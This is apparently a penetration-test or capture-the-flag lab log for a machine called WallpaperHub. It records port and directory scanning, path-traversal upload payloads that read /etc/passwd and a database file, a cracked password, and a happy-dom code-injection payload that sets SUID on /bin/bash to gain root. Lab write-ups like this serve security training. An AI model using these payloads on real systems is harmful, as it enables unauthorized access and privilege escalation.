WallpaperHub
๐งช Pentest Log: {{date:2025-08-13}}
๐ Target Information
- Machine Name: WallpaperHub
- IP Address: 192.168.199.204
- Operating System: Linux
ip=192.168.199.204
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 80
Web Directory Scan
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
Port 5000
Web Directory Scan
gobuster dir -u http://$ip:5000 -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip:5000 -r -o dirsearch.txt
The file upload does not sanitize input
-----------------------------413298617138376585991046617009
Content-Disposition: form-data; name="file"; filename="../../../../../../../etc/passwd"
Content-Type: image/png
Retrieve database.db
-----------------------------413298617138376585991046617009
Content-Disposition: form-data; name="file"; filename="../../../../../../../home/wp_hub/wallpaper_hub/databse.db"
Content-Type: image/png
View the hash inside the database.db
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 22
- Vulnerability Type: N/A
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
Crack the hash of the password, obtain credential
wp_hub:qazwsxedc
๐งฌ Privilege Escalation
๐ค Current Access
- User: wp_hub
- Groups: 1002(wp_hub)
- Shell Type: ssh
๐ Enumeration
Sudo:
sudo -l
Found
User wp_hub may run the following commands on wallpaperhub:
(root) NOPASSWD: /usr/bin/web-scraper /root/web_src_downloaded/*.html
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: N/A
- Target Binary/Service: N/A
- Reference / Source: https://security.snyk.io/vuln/SNYK-JS-HAPPYDOM-8350065
๐ง Exploit Steps
- Setup
echo "chmod +s /bin/bash" > /tmp/exploit
chmod +x /tmp/exploit
echo "\`<script src=\"http://localhost:1337/'+require('child_process').execSync('/tmp/exploit')+'\"></script>\`" > /tmp/exploit.html
python3 -m http.server 1337
- Smash to root
sudo -u root /usr/bin/web-scraper /root/web_src_downloaded/../../tmp/exploit.html
bash -p